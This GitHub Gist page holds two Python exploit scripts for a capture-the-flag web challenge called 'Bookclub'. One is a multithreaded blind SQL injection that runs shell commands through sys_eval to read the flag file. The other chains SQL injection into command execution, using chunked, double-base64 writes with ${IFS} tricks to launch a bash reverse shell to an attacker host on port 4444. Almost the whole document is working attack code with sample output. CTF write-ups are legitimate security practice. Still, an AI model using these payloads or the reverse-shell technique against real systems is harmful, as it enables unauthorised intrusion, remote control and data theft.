Last active
December 29, 2024 07:42
-
-
Save pich4ya/54d1a9e957e5d85c53030de23aa6fc17 to your computer and use it in GitHub Desktop.
Exploit for SEC Playground Bloody Xmas 2024 - Bookclub
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# @author: longcat | |
# SEC Playground Bloody Xmas 2024 - Bookclub | |
# Exploit #2 - Read Flag w/ RCE (Reverse Shell) | |
import requests | |
import sys | |
import time | |
import argparse | |
import urllib3 | |
# Suppress InsecureRequestWarning if intercepting HTTPS traffic | |
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) | |
proxies = { | |
"http": "http://127.0.0.1:8080", | |
"https": "http://127.0.0.1:8080" | |
} | |
def main(): | |
# The string to split | |
import base64 | |
# Step 1: Define your reverse shell command and encode it | |
command = "/bin/bash -i >& /dev/tcp/${LHOST}/4444 0>&1" | |
print(f"command: {command}") | |
command_b64 = base64.b64encode(command.encode()).decode() | |
# Step 2: Create a one-liner that decodes and runs the command with bash -i | |
# e.g. echo <base64_of_command> | base64 -d | bash -i | |
exec_cmd = f"echo {command_b64} | base64 -d | bash -i" | |
print(f"exec_cmd: {exec_cmd}") | |
# Step 3: Base64-encode the entire second command so you have a nested base64 | |
payload_str = base64.b64encode(exec_cmd.encode()).decode() | |
print(f"Payload (to be split): {payload_str}") | |
# Chunk size | |
chunk_size = 5 | |
# Split the string into 10-byte segments | |
chunks = [payload_str[i:i+chunk_size] for i in range(0, len(payload_str), chunk_size)] | |
# Common headers used for POST request | |
headers = { | |
"Accept-Encoding": "gzip, deflate, br", | |
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", | |
"Connection": "keep-alive", | |
"Host": "${RHOST}", | |
"Accept-Language": "en-US,en;q=0.5", | |
"Content-Type": "application/x-www-form-urlencoded", | |
"Origin": "http://${RHOST}", | |
"Referer": "http://${RHOST}/", | |
"Upgrade-Insecure-Requests": "1", | |
"Priority": "u=0, i" | |
} | |
# URL to send requests | |
url = "http://${RHOST}/" | |
# reset content of file a | |
cmd0=f"printf${{IFS}}\"\">a" | |
sql0=f"a' and ''=(sys_eval('{cmd0}'))#" | |
print(cmd0) | |
data_exec0 = { | |
"bookID": sql0 | |
} | |
response_exec = requests.post(url, headers=headers, data=data_exec0, | |
proxies=proxies, # comment out if not using a proxy | |
verify=False # comment out if not intercepting HTTPS) | |
) | |
# 1) For each chunk, send a POST request with chunk appended to /tmp/q | |
for chunk in chunks: | |
cmd1=f"printf${{IFS}}\"{chunk}\">>a" | |
sql1=f"a' and ''=(sys_eval('{cmd1}'))#" | |
data = { | |
"bookID": sql1 | |
} | |
response = requests.post(url, headers=headers, data=data, | |
proxies=proxies, # comment out if not using a proxy | |
verify=False # comment out if not intercepting HTTPS) | |
) | |
print(cmd1) | |
# 2) Send request to execute /tmp/q | |
cmd2=f"cat${{IFS}}a|base64${{IFS}}-d>b" | |
sql2=f"a' and ''=(sys_eval('{cmd2}'))#" | |
print(cmd2) | |
data_exec2 = { | |
"bookID": sql2 | |
} | |
response_exec = requests.post(url, headers=headers, data=data_exec2, | |
proxies=proxies, # comment out if not using a proxy | |
verify=False # comment out if not intercepting HTTPS) | |
) | |
# 3 | |
cmd3=f"cat${{IFS}}b|bash${{IFS}}-i" | |
sql3=f"a' and ''=(sys_eval('{cmd3}'))#" | |
print(cmd3) | |
data_exec3 = { | |
"bookID": sql3 | |
} | |
response_exec = requests.post(url, headers=headers, data=data_exec3, | |
proxies=proxies, # comment out if not using a proxy | |
verify=False # comment out if not intercepting HTTPS) | |
) | |
print(f"[+] Exec request, Response Code: {response_exec.status_code}") | |
if __name__ == "__main__": | |
main() | |
# $ python bookclub_exploit_rce.py | |
# command: /bin/bash -i >& /dev/tcp/${LHOST}/4444 0>&1 | |
# exec_cmd: echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== | base64 -d | bash -i | |
# Payload (to be split): AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= | |
# printf${IFS}"">a | |
# printf${IFS}"AAAAA">>a | |
# printf${IFS}"AAAAA">>a | |
# printf${IFS}"AAAAA">>a | |
# printf${IFS}"AAAAA">>a | |
# printf${IFS}"AAAAA">>a | |
# printf${IFS}"AAAAA">>a | |
# printf${IFS}"AAAAA">>a | |
# printf${IFS}"AAAAA">>a | |
# printf${IFS}"AAAAA">>a | |
# printf${IFS}"AAAAA">>a | |
# printf${IFS}"AAAAA">>a | |
# printf${IFS}"AAAAA">>a | |
# printf${IFS}"AAAAA">>a | |
# printf${IFS}"AAAAA">>a | |
# printf${IFS}"AAAAA">>a | |
# printf${IFS}"AAAAA">>a | |
# printf${IFS}"AAAAA">>a | |
# printf${IFS}"AAAAA">>a | |
# printf${IFS}"AAAAA">>a | |
# printf${IFS}"AAAAA">>a | |
# printf${IFS}"AAAAA">>a | |
# printf${IFS}"AAAAA">>a | |
# printf${IFS}"AAAAA">>a | |
# printf${IFS}"AAAAA">>a | |
# printf${IFS}"AAAAA">>a | |
# printf${IFS}"AAAAA">>a | |
# cat${IFS}a|base64${IFS}-d>b | |
# cat${IFS}b|bash${IFS}-i | |
# [+] Exec request, Response Code: 200 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# @author: longcat | |
# SEC Playground Bloody Xmas 2024 - Bookclub | |
# Exploit #1 - Read Flag w/ boolean-based blind SQLi | |
import requests | |
import sys | |
import time | |
import argparse | |
import urllib3 | |
from concurrent.futures import ThreadPoolExecutor, as_completed | |
from blessed import Terminal | |
# Suppress InsecureRequestWarning if intercepting HTTPS traffic | |
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) | |
TARGET_URL = "http://${RHOST}/" | |
HEADERS = { | |
"Host": "${RHOST}", | |
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", | |
"Accept-Language": "en-US,en;q=0.5", | |
"Accept-Encoding": "gzip, deflate, br", | |
"Content-Type": "application/x-www-form-urlencoded", | |
"Origin": "http://${RHOST}", | |
"Connection": "keep-alive", | |
"Referer": "http://${RHOST}/", | |
"Upgrade-Insecure-Requests": "1", | |
"Priority": "u=0, i", | |
} | |
TRUE_CONTENT_LENGTH = 8241 | |
# Uncomment if routing requests via Burp Suite | |
proxies = { | |
"http": "http://127.0.0.1:8080", | |
"https": "http://127.0.0.1:8080" | |
} | |
BATCH_SIZE = 10 | |
MAX_THREADS = 50 | |
MAX_OUTPUT_LENGTH = 100000 | |
# Initialize Blessed | |
term = Terminal() | |
# ============================ | |
# HTTP & SQLI Helper Functions | |
# ============================ | |
def send_payload_custom(book_id_payload, retries=3): | |
data = book_id_payload | |
for attempt in range(1, retries + 1): | |
try: | |
response = requests.post( | |
TARGET_URL, | |
headers=HEADERS, | |
data=data, | |
timeout=10, | |
# proxies=proxies, # comment out if not using a proxy | |
# verify=False # comment out if not intercepting HTTPS | |
) | |
content_length = int(response.headers.get("Content-Length", 0)) | |
return (content_length == TRUE_CONTENT_LENGTH) | |
except requests.exceptions.RequestException: | |
if attempt < retries: | |
time.sleep(1) | |
else: | |
return False | |
def binary_search_ascii(position, command): | |
low, high = 10, 126 # includes newline(\n=10) up to tilde(~=126) | |
while low <= high: | |
mid = (low + high) // 2 | |
payload_gt = f"bookID='OR'{mid}'<ASCII(SUBSTR((sys_eval(\"{command}\")),{position},1))#" | |
if send_payload_custom(payload_gt): | |
low = mid + 1 | |
else: | |
payload_eq = f"bookID='OR'{mid}'=ASCII(SUBSTR((sys_eval(\"{command}\")),{position},1))#" | |
if send_payload_custom(payload_eq): | |
return chr(mid) | |
else: | |
high = mid - 1 | |
return None | |
def extract_character(position, command): | |
ch = binary_search_ascii(position, command) | |
return (position, ch) | |
# =================== | |
# Main Extraction Loop | |
# =================== | |
def extract_output_multithreaded(command): | |
""" | |
Extracts sys_eval(command) in a multithreaded manner, | |
printing newly discovered text in real time (with real newlines). | |
No cursor repositioning, no overwriting—just append. | |
""" | |
output = {} | |
position = 1 | |
stop_extraction = False | |
# Keep track of how many chars are already printed to avoid re-printing them | |
old_output_len = 0 | |
with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor: | |
while not stop_extraction and position <= MAX_OUTPUT_LENGTH: | |
batch_positions = range(position, position + BATCH_SIZE) | |
futures_map = { | |
executor.submit(extract_character, pos, command): pos | |
for pos in batch_positions | |
} | |
results = {} | |
failed_positions = [] | |
for future in as_completed(futures_map): | |
pos, ch = future.result() | |
if ch: | |
results[pos] = ch | |
else: | |
failed_positions.append(pos) | |
for pos in sorted(batch_positions): | |
if pos in results: | |
output[pos] = results[pos] | |
elif pos in failed_positions: | |
stop_extraction = True | |
break | |
current_str = ''.join(output[p] for p in sorted(output)) | |
# Print only the newly discovered substring | |
if len(current_str) > old_output_len: | |
new_part = current_str[old_output_len:] | |
# Just print it as-is (with real newlines), no rewriting | |
print(new_part, end='', flush=True) | |
old_output_len = len(current_str) | |
if failed_positions: | |
break | |
else: | |
position += BATCH_SIZE | |
time.sleep(0.1) | |
final_output = ''.join(output[p] for p in sorted(output)) | |
return final_output | |
# ============== | |
# Main CLI logic | |
# ============== | |
def main(): | |
parser = argparse.ArgumentParser( | |
description="Multithreaded Blind SQLi with Real-Time Output (Blessed, no newline replacement)" | |
) | |
parser.add_argument( | |
"command", | |
type=str, | |
help="Command to run via sys_eval(...)" | |
) | |
args = parser.parse_args() | |
command = args.command | |
command = 'ls$IFS/var/www/' | |
# flag_${RANDOM}.txt | |
command = 'cat$IFS/var/www/f*' | |
# The flag is web{${FLAG}} | |
print(term.clear + term.bold("SQL Injection Attack")) | |
print(f"Target command: {command}") | |
print("Extracting below (with real newlines):\n") | |
extracted = extract_output_multithreaded(command) | |
print("\n--- Extraction Complete ---") | |
print("Final Output:\n") | |
print(extracted) | |
if __name__ == "__main__": | |
main() | |
# $ python bookclub_exploit_read_flag.py x | |
# SQL Injection Attack | |
# Target command: cat$IFS/var/www/f* | |
# Extracting below (with real newlines): | |
# The flag is web{${FLAG}} | |
# --- Extraction Complete --- | |
# Final Output: | |
# The flag is web{${FLAG}} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment